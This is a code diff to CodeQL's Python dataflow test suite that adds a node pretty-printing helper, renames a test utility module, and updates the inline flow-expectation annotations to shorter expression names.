--- /dev/null +++ b/python/ql/test/experimental/dataflow/TestUtil/PrintNode.qll @@ -0,0 +1,31 @@ +import python +import semmle.python.dataflow.new.DataFlow + +string prettyExp(Expr e) { + not e instanceof Num and + not e instanceof StrConst and + not e instanceof Subscript and + not e instanceof Call and + not e instanceof Attribute and + result = e.toString() + or + result = e.(Num).getN() + or + result = + e.(StrConst).getPrefix() + e.(StrConst).getText() + + e.(StrConst).getPrefix().regexpReplaceAll("[a-zA-Z]+", "") + or + result = prettyExp(e.(Subscript).getObject()) + "[" + prettyExp(e.(Subscript).getIndex()) + "]" + or + ( + if exists(e.(Call).getAnArg()) or exists(e.(Call).getANamedArg()) + then result = prettyExp(e.(Call).getFunc()) + "(..)" + else result = prettyExp(e.(Call).getFunc()) + "()" + ) + or + result = prettyExp(e.(Attribute).getObject()) + "." + e.(Attribute).getName() +} + +string prettyNode(DataFlow::Node node) { + if exists(node.asExpr()) then result = prettyExp(node.asExpr()) else result = node.toString() +} diff --git a/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql b/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql index 6e57f26cd0f..6dca0190156 100644 --- a/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql +++ b/python/ql/test/experimental/dataflow/basic/localFlowStepTest.ql @@ -1 +1 @@ -import experimental.dataflow.FlowTestUtil.LocalFlowStepTest +import experimental.dataflow.TestUtil.LocalFlowStepTest diff --git a/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql b/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql index ec171dcd9fd..618dae382f1 100644 --- a/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql +++ b/python/ql/test/experimental/dataflow/basic/maximalFlowTest.ql @@ -1 +1 @@ -import experimental.dataflow.FlowTestUtil.MaximalFlowTest +import experimental.dataflow.TestUtil.MaximalFlowTest diff --git a/python/ql/test/experimental/dataflow/basic/test.py b/python/ql/test/experimental/dataflow/basic/test.py index e97068a041c..d0a54a570eb 100644 --- a/python/ql/test/experimental/dataflow/basic/test.py +++ b/python/ql/test/experimental/dataflow/basic/test.py @@ -1,7 +1,7 @@ -def obfuscated_id(x): #$ step="ControlFlowNode for FunctionExpr -> GSSA Variable obfuscated_id" - y = x #$ step="ControlFlowNode for x -> SSA variable y" step="SSA variable x, l:1 -> ControlFlowNode for x" - z = y #$ step="ControlFlowNode for y -> SSA variable z" step="SSA variable y, l:2 -> ControlFlowNode for y" - return z #$ flow="ControlFlowNode for IntegerLiteral, l:6 -> ControlFlowNode for z" step="SSA variable z, l:3 -> ControlFlowNode for z" +def obfuscated_id(x): #$ step="FunctionExpr -> GSSA Variable obfuscated_id" + y = x #$ step="x -> SSA variable y" step="SSA variable x, l:1 -> x" + z = y #$ step="y -> SSA variable z" step="SSA variable y, l:2 -> y" + return z #$ flow="42, l:6 -> z" step="SSA variable z, l:3 -> z" -a = 42 #$ step="ControlFlowNode for IntegerLiteral -> GSSA Variable a" -b = obfuscated_id(a) #$ flow="ControlFlowNode for IntegerLiteral, l:6 -> GSSA Variable b" flow="ControlFlowNode for FunctionExpr, l:1 -> ControlFlowNode for obfuscated_id" step="ControlFlowNode for obfuscated_id() -> GSSA Variable b" step="GSSA Variable obfuscated_id, l:1 -> ControlFlowNode for obfuscated_id" step="GSSA Variable a, l:6 -> ControlFlowNode for a" +a = 42 #$ step="42 -> GSSA Variable a" +b = obfuscated_id(a) #$ flow="42, l:6 -> GSSA Variable b" flow="FunctionExpr, l:1 -> obfuscated_id" step="obfuscated_id(..) -> GSSA Variable b" step="GSSA Variable obfuscated_id, l:1 -> obfuscated_id" step="GSSA Variable a, l:6 -> a" diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index 7f1a832bf61..6de4d56ad13 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -72,14 +72,14 @@ def argument_passing( f, **g, ): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:89 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:94 -> ControlFlowNode for a" - SINK2(b) #$ arg2="ControlFlowNode for arg2, l:94 -> ControlFlowNode for b" MISSING:arg2="ControlFlowNode for arg2, l:89 -> ControlFlowNode for b" - SINK3(c) #$ arg3="ControlFlowNode for arg3, l:94 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:89 -> ControlFlowNode for c" - SINK4(d) #$ MISSING: arg4="ControlFlowNode for arg4, l:89 -> ControlFlowNode for d" - SINK5(e) #$ MISSING: arg5="ControlFlowNode for arg5, l:89 -> ControlFlowNode for e" - SINK6(f) #$ MISSING: arg6="ControlFlowNode for arg6, l:89 -> ControlFlowNode for f" + SINK1(a) #$ arg1="arg1, l:89 -> a" arg1="arg1, l:94 -> a" + SINK2(b) #$ arg2="arg2, l:94 -> b" MISSING:arg2="arg2, l:89 -> b" + SINK3(c) #$ arg3="arg3, l:94 -> c" MISSING: arg3="arg3, l:89 -> c" + SINK4(d) #$ MISSING: arg4="arg4, l:89 -> d" + SINK5(e) #$ MISSING: arg5="arg5, l:89 -> e" + SINK6(f) #$ MISSING: arg6="arg6, l:89 -> f" try: - SINK7(g["g"]) #$ arg7="ControlFlowNode for arg7, l:89 -> ControlFlowNode for Subscript" + SINK7(g["g"]) #$ arg7="arg7, l:89 -> g['g']" except: print("OK") @@ -95,8 +95,8 @@ def test_argument_passing2(): def with_pos_only(a, /, b): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:104 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:105 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:106 -> ControlFlowNode for a" - SINK2(b) #$ arg2="ControlFlowNode for arg2, l:104 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:105 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:106 -> ControlFlowNode for b" + SINK1(a) #$ arg1="arg1, l:104 -> a" arg1="arg1, l:105 -> a" arg1="arg1, l:106 -> a" + SINK2(b) #$ arg2="arg2, l:104 -> b" arg2="arg2, l:105 -> b" MISSING: arg2="arg2, l:106 -> b" @expects(6) @@ -107,9 +107,9 @@ def test_pos_only(): def with_multiple_kw_args(a, b, c): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:117 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:118 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:119 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:120 -> ControlFlowNode for a" - SINK2(b) #$ arg2="ControlFlowNode for arg2, l:117 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:120 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:118 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:119 -> ControlFlowNode for b" - SINK3(c) #$ arg3="ControlFlowNode for arg3, l:117 -> ControlFlowNode for c" arg3="ControlFlowNode for arg3, l:119 -> ControlFlowNode for c" arg3="ControlFlowNode for arg3, l:120 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:118 -> ControlFlowNode for c" + SINK1(a) #$ arg1="arg1, l:117 -> a" arg1="arg1, l:118 -> a" arg1="arg1, l:119 -> a" arg1="arg1, l:120 -> a" + SINK2(b) #$ arg2="arg2, l:117 -> b" arg2="arg2, l:120 -> b" MISSING: arg2="arg2, l:118 -> b" arg2="arg2, l:119 -> b" + SINK3(c) #$ arg3="arg3, l:117 -> c" arg3="arg3, l:119 -> c" arg3="arg3, l:120 -> c" MISSING: arg3="arg3, l:118 -> c" @expects(9) @@ -121,9 +121,9 @@ def test_multiple_kw_args(): def with_default_arguments(a=arg1, b=arg2, c=arg3): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:132 -> ControlFlowNode for a" MISSING:arg1="ControlFlowNode for arg1, l:123 -> ControlFlowNode for a" - SINK2(b) #$ arg2="ControlFlowNode for arg2, l:133 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:123 -> ControlFlowNode for b" - SINK3(c) #$ arg3="ControlFlowNode for arg3, l:134 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:123 -> ControlFlowNode for c" + SINK1(a) #$ arg1="arg1, l:132 -> a" MISSING:arg1="arg1, l:123 -> a" + SINK2(b) #$ arg2="arg2, l:133 -> b" MISSING: arg2="arg2, l:123 -> b" + SINK3(c) #$ arg3="arg3, l:134 -> c" MISSING: arg3="arg3, l:123 -> c" @expects(12) @@ -136,14 +136,14 @@ def test_default_arguments(): # Nested constructor pattern def grab_foo_bar_baz(foo, **kwargs): - SINK1(foo) #$ arg1="ControlFlowNode for arg1, l:160 -> ControlFlowNode for foo" + SINK1(foo) #$ arg1="arg1, l:160 -> foo" grab_bar_baz(**kwargs) # It is not possible to pass `bar` into `kwargs`, # since `bar` is a valid keyword argument. def grab_bar_baz(bar, **kwargs): - SINK2(bar) #$ arg2="ControlFlowNode for arg2, l:160 -> ControlFlowNode for bar" + SINK2(bar) #$ arg2="arg2, l:160 -> bar" try: SINK2_F(kwargs["bar"]) except: @@ -152,7 +152,7 @@ def grab_bar_baz(bar, **kwargs): def grab_baz(baz): - SINK3(baz) #$ arg3="ControlFlowNode for arg3, l:160 -> ControlFlowNode for baz" + SINK3(baz) #$ arg3="arg3, l:160 -> baz" @expects(4) @@ -163,14 +163,14 @@ def test_grab(): # All combinations def test_pos_pos(): def with_pos(a): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:168 -> ControlFlowNode for a" + SINK1(a) #$ arg1="arg1, l:168 -> a" with_pos(arg1) def test_pos_pos_only(): def with_pos_only(a, /): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:175 -> ControlFlowNode for a" + SINK1(a) #$ arg1="arg1, l:175 -> a" with_pos_only(arg1) @@ -178,34 +178,34 @@ def test_pos_pos_only(): def test_pos_star(): def with_star(*a): if len(a) > 0: - SINK1(a[0]) #$ arg1="ControlFlowNode for arg1, l:183 -> ControlFlowNode for Subscript" + SINK1(a[0]) #$ arg1="arg1, l:183 -> a[0]" with_star(arg1) def test_pos_kw(): def with_kw(a=""): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:190 -> ControlFlowNode for a" + SINK1(a) #$ arg1="arg1, l:190 -> a" with_kw(arg1) def test_kw_pos(): def with_pos(a): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:197 -> ControlFlowNode for a" + SINK1(a) #$ arg1="arg1, l:197 -> a" with_pos(a=arg1) def test_kw_kw(): def with_kw(a=""): - SINK1(a) #$ arg1="ControlFlowNode for arg1, l:204 -> ControlFlowNode for a" + SINK1(a) #$ arg1="arg1, l:204 -> a" with_kw(a=arg1) def test_kw_doublestar(): def with_doublestar(**a): - SINK1(a["a"]) #$ arg1="ControlFlowNode for arg1, l:211 -> ControlFlowNode for Subscript" + SINK1(a["a"]) #$ arg1="arg1, l:211 -> a['a']" with_doublestar(a=arg1) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql index 00cc3a49656..8a2b9cf9235 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql @@ -1,7 +1,7 @@ import python import semmle.python.dataflow.new.DataFlow private import semmle.python.dataflow.new.internal.DataFlowPrivate as DataFlowPrivate -import experimental.dataflow.FlowTestUtil.FlowTest +import experimental.dataflow.TestUtil.FlowTest class Argument1RoutingTest extends FlowTest { Argument1RoutingTest() { this = "Argument1RoutingTest" } diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index 613019ce4b8..eb850b8d819 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -553,8 +553,8 @@ def test_length_hint(): # object.__getitem__(self, key) class With_getitem: def __getitem__(self, key): - SINK2(key) #$ arg2="ControlFlowNode for arg2, l:565 -> ControlFlowNode for key" - SINK1(self) #$ arg1="SSA variable with_getitem, l:563 -> ControlFlowNode for self" + SINK2(key) #$ arg2="arg2, l:565 -> key" + SINK1(self) #$ arg1="SSA variable with_getitem, l:563 -> self" OK() return "" @@ -568,9 +568,9 @@ def test_getitem(): # object.__setitem__(self, key, value) class With_setitem: def __setitem__(self, key, value): - SINK3(value) #$ arg3="ControlFlowNode for arg3, l:581 -> ControlFlowNode for value" - SINK2(key) #$ arg2="ControlFlowNode for arg2, l:581 -> ControlFlowNode for key" - SINK1(self) #$ arg1="SSA variable with_setitem, l:578 -> ControlFlowNode for self" + SINK3(value) #$ arg3="arg3, l:581 -> value" + SINK2(key) #$ arg2="arg2, l:581 -> key" + SINK1(self) #$ arg1="SSA variable with_setitem, l:578 -> self" OK() @@ -584,8 +584,8 @@ def test_setitem(): # object.__delitem__(self, key) class With_delitem: def __delitem__(self, key): - SINK2(key) #$ arg2="ControlFlowNode for arg2, l:595 -> ControlFlowNode for key" - SINK1(self) #$ arg1="SSA variable with_delitem, l:593 -> ControlFlowNode for self" + SINK2(key) #$ arg2="arg2, l:595 -> key" + SINK1(self) #$ arg1="SSA variable with_delitem, l:593 -> self" OK() @@ -655,8 +655,8 @@ def test_contains(): # object.__add__(self, other) class With_add: def __add__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:667 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_add, l:665 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:667 -> other" + SINK1(self) #$ arg1="SSA variable with_add, l:665 -> self" OK() return self @@ -670,8 +670,8 @@ def test_add(): # object.__sub__(self, other) class With_sub: def __sub__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:682 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_sub, l:680 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:682 -> other" + SINK1(self) #$ arg1="SSA variable with_sub, l:680 -> self" OK() return self @@ -685,8 +685,8 @@ def test_sub(): # object.__mul__(self, other) class With_mul: def __mul__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:697 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_mul, l:695 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:697 -> other" + SINK1(self) #$ arg1="SSA variable with_mul, l:695 -> self" OK() return self @@ -700,8 +700,8 @@ def test_mul(): # object.__matmul__(self, other) class With_matmul: def __matmul__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:712 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_matmul, l:710 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:712 -> other" + SINK1(self) #$ arg1="SSA variable with_matmul, l:710 -> self" OK() return self @@ -715,8 +715,8 @@ def test_matmul(): # object.__truediv__(self, other) class With_truediv: def __truediv__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:727 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_truediv, l:725 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:727 -> other" + SINK1(self) #$ arg1="SSA variable with_truediv, l:725 -> self" OK() return self @@ -730,8 +730,8 @@ def test_truediv(): # object.__floordiv__(self, other) class With_floordiv: def __floordiv__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:742 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_floordiv, l:740 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:742 -> other" + SINK1(self) #$ arg1="SSA variable with_floordiv, l:740 -> self" OK() return self @@ -745,8 +745,8 @@ def test_floordiv(): # object.__mod__(self, other) class With_mod: def __mod__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:757 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_mod, l:755 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:757 -> other" + SINK1(self) #$ arg1="SSA variable with_mod, l:755 -> self" OK() return self @@ -775,8 +775,8 @@ def test_divmod(): # object.__pow__(self, other[, modulo]) class With_pow: def __pow__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:793 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_pow, l:791 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:793 -> other" + SINK1(self) #$ arg1="SSA variable with_pow, l:791 -> self" OK() return self @@ -796,8 +796,8 @@ def test_pow_op(): # object.__lshift__(self, other) class With_lshift: def __lshift__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:808 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_lshift, l:806 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:808 -> other" + SINK1(self) #$ arg1="SSA variable with_lshift, l:806 -> self" OK() return self @@ -811,8 +811,8 @@ def test_lshift(): # object.__rshift__(self, other) class With_rshift: def __rshift__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:823 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_rshift, l:821 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:823 -> other" + SINK1(self) #$ arg1="SSA variable with_rshift, l:821 -> self" OK() return self @@ -826,8 +826,8 @@ def test_rshift(): # object.__and__(self, other) class With_and: def __and__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:838 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_and, l:836 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:838 -> other" + SINK1(self) #$ arg1="SSA variable with_and, l:836 -> self" OK() return self @@ -841,8 +841,8 @@ def test_and(): # object.__xor__(self, other) class With_xor: def __xor__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:853 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_xor, l:851 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:853 -> other" + SINK1(self) #$ arg1="SSA variable with_xor, l:851 -> self" OK() return self @@ -856,8 +856,8 @@ def test_xor(): # object.__or__(self, other) class With_or: def __or__(self, other): - SINK2(other) #$ arg2="ControlFlowNode for arg2, l:868 -> ControlFlowNode for other" - SINK1(self) #$ arg1="SSA variable with_or, l:866 -> ControlFlowNode for self" + SINK2(other) #$ arg2="arg2, l:868 -> other" + SINK1(self) #$ arg1="SSA variable with_or, l:866 -> self" OK() return self diff --git a/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql b/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql index c7b2b5bfe15..76cabbfbbbf 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql +++ b/python/ql/test/experimental/dataflow/coverage/dataflowTest.ql @@ -1,5 +1,5 @@ import python -import experimental.dataflow.FlowTestUtil.FlowTest +import experimental.dataflow.TestUtil.FlowTest import experimental.dataflow.testConfig class DataFlowTest extends FlowTest { diff --git a/python/ql/test/experimental/dataflow/coverage/datamodel.py b/python/ql/test/experimental/dataflow/coverage/datamodel.py index d6ab9bd3dcb..0d921a2cb85 100644 --- a/python/ql/test/experimental/dataflow/coverage/datamodel.py +++ b/python/ql/test/experimental/dataflow/coverage/datamodel.py @@ -35,7 +35,7 @@ def SINK_F(x): def f(a, b): return a -SINK(f(SOURCE, 3)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for f()" +SINK(f(SOURCE, 3)) #$ flow="SOURCE -> f(..)" flow="'source', l:13 -> f(..)" # Instance methods # An instance method object combines a class, a class instance and any callable object (normally a user-defined function). @@ -68,18 +68,18 @@ c = C() func_obj = c.method.__func__ # When an instance method object is called, the underlying function (__func__) is called, inserting the class instance (__self__) in front of the argument list. For instance, when C is a class which contains a definition for a function f(), and x is an instance of C, calling x.f(1) is equivalent to calling C.f(x, 1). -SINK(c.method(SOURCE, C)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" -SINK(C.method(c, SOURCE, C)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" -SINK(func_obj(c, SOURCE, C)) +SINK(c.method(SOURCE, C)) #$ flow="SOURCE -> c.method(..)" flow="SOURCE, l:38 -> c.method(..)" flow="'source', l:13 -> c.method(..)" +SINK(C.method(c, SOURCE, C)) #$ flow="SOURCE -> C.method(..)" flow="SOURCE, l:38 -> C.method(..)" flow="SOURCE, l:71 -> C.method(..)" flow="'source', l:13 -> C.method(..)" +SINK(func_obj(c, SOURCE, C)) #$ MISSING: flow="SOURCE -> func_obj(..)" flow="SOURCE, l:38 -> func_obj(..)" flow="SOURCE, l:71 -> func_obj(..)" flow="SOURCE, l:72 -> func_obj(..)" flow="'source', l:13 -> func_obj()" # When an instance method object is created by retrieving a class method object from a class or instance, its __self__ attribute is the class itself, and its __func__ attribute is the function object underlying the class method. c_func_obj = C.classmethod.__func__ # When an instance method object is derived from a class method object, the “class instance” stored in __self__ will actually be the class itself, so that calling either x.f(1) or C.f(1) is equivalent to calling f(C,1) where f is the underlying function. -SINK(c.classmethod(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:72 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:73 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" -SINK(C.classmethod(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:38 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:71 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:72 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:73 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for SOURCE, l:80 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute()" -SINK(c_func_obj(C, SOURCE)) +SINK(c.classmethod(SOURCE)) #$ flow="SOURCE -> c.classmethod(..)" flow="SOURCE, l:38 -> c.classmethod(..)" flow="SOURCE, l:71 -> c.classmethod(..)" flow="SOURCE, l:72 -> c.classmethod(..)" flow="SOURCE, l:73 -> c.classmethod(..)" flow="'source', l:13 -> c.classmethod(..)" +SINK(C.classmethod(SOURCE)) #$ flow="SOURCE -> C.classmethod(..)" flow="SOURCE, l:38 -> C.classmethod(..)" flow="SOURCE, l:71 -> C.classmethod(..)" flow="SOURCE, l:72 -> C.classmethod(..)" flow="SOURCE, l:73 -> C.classmethod(..)" flow="SOURCE, l:80 -> C.classmethod(..)" flow="'source', l:13 -> C.classmethod(..)" +SINK(c_func_obj(C, SOURCE)) #$ MISSING: flow="SOURCE -> c_func_obj(..)" flow="SOURCE, l:38 -> c_func_obj(..)" flow="SOURCE, l:71 -> c_func_obj(..)" flow="SOURCE, l:72 -> c_func_obj(..)" flow="SOURCE, l:73 -> c_func_obj(..)" flow="SOURCE, l:80 -> c_func_obj(..)" flow="SOURCE, l:81 -> c_func_obj(..)" flow="'source', l:13 -> c_func_obj()" # Generator functions # A function or method which uses the yield statement (see section The yield statement) is called a generator function. Such a function, when called, always returns an iterator object which can be used to execute the body of the function: calling the iterator’s iterator.__next__() method will cause the function to execute until it provides a value using the yield statement. When the function executes a return statement or falls off the end, a StopIteration exception is raised and the iterator will have reached the end of the set of values to be returned. @@ -156,4 +156,4 @@ customized = Customized() SINK(Customized.a) SINK_F(Customized.b) SINK(customized.a) -SINK(customized.b) #$ flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Attribute" flow="ControlFlowNode for Str, l:13 -> ControlFlowNode for Attribute" +SINK(customized.b) #$ flow="SOURCE, l:152 -> customized.b" flow="'source', l:13 -> customized.b" diff --git a/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected b/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql b/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql deleted file mode 100644 index ec171dcd9fd..00000000000 --- a/python/ql/test/experimental/dataflow/coverage/maximalFlowTest.ql +++ /dev/null @@ -1 +0,0 @@ -import experimental.dataflow.FlowTestUtil.MaximalFlowTest diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index ab7b9f02405..616837a9d3b 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -41,7 +41,7 @@ def SINK_F(x): def test_tuple_with_local_flow(): x = (NONSOURCE, SOURCE) y = x[1] - SINK(y) #$ flow="ControlFlowNode for SOURCE, l:42 -> ControlFlowNode for y" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for y" + SINK(y) #$ flow="SOURCE, l:42 -> y" flow="'source', l:20 -> y" def test_tuple_negative(): @@ -53,45 +53,45 @@ def test_tuple_negative(): # 6.2.1. Identifiers (Names) def test_names(): x = SOURCE - SINK(x) #$ flow="ControlFlowNode for SOURCE, l:55 -> ControlFlowNode for x" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" + SINK(x) #$ flow="SOURCE, l:55 -> x" flow="'source', l:20 -> x" # 6.2.2. Literals def test_string_literal(): x = "source" - SINK(x) #$ flow="ControlFlowNode for Str, l:61 -> ControlFlowNode for x" + SINK(x) #$ flow="'source', l:61 -> x" def test_bytes_literal(): x = b"source" - SINK(x) #$ flow="ControlFlowNode for Str, l:66 -> ControlFlowNode for x" + SINK(x) #$ flow="b'source', l:66 -> x" def test_integer_literal(): x = 42 - SINK(x) #$ flow="ControlFlowNode for IntegerLiteral, l:71 -> ControlFlowNode for x" + SINK(x) #$ flow="42, l:71 -> x" def test_floatnumber_literal(): x = 42.0 - SINK(x) #$ flow="ControlFlowNode for FloatLiteral, l:76 -> ControlFlowNode for x" + SINK(x) #$ flow="42.0, l:76 -> x" def test_imagnumber_literal(): x = 42j - SINK(x) #$ MISSING:flow="ControlFlowNode for FloatLiteral, l:81 -> ControlFlowNode for x" + SINK(x) #$ MISSING:flow="42j, l:81 -> x" # 6.2.3. Parenthesized forms def test_parenthesized_form(): x = (SOURCE) - SINK(x) #$ flow="ControlFlowNode for SOURCE, l:87 -> ControlFlowNode for x" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" + SINK(x) #$ flow="SOURCE, l:87 -> x" flow="'source', l:20 -> x" # 6.2.5. List displays def test_list_display(): x = [SOURCE] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:93 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:93 -> x[0]" flow="'source', l:20 -> x[0]" def test_list_display_negative(): @@ -101,109 +101,109 @@ def test_list_display_negative(): def test_list_comprehension(): x = [SOURCE for y in [NONSOURCE]] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:103 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:103 -> x[0]" flow="'source', l:20 -> x[0]" def test_list_comprehension_flow(): x = [y for y in [SOURCE]] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:108 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:108 -> x[0]" flow="'source', l:20 -> x[0]" def test_list_comprehension_inflow(): l = [SOURCE] x = [y for y in l] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:113 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:113 -> x[0]" flow="'source', l:20 -> x[0]" def test_nested_list_display(): x = [*[SOURCE]] - SINK(x[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:119 -> ControlFlowNode for Subscript" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:119 -> x[0]" MISSING:flow="'source', l:20 -> x[0]" # 6.2.6. Set displays def test_set_display(): x = {SOURCE} - SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:125 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop()) #$ flow="SOURCE, l:125 -> x.pop()" flow="'source', l:20 -> x.pop()" def test_set_comprehension(): x = {SOURCE for y in [NONSOURCE]} - SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:130 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop()) 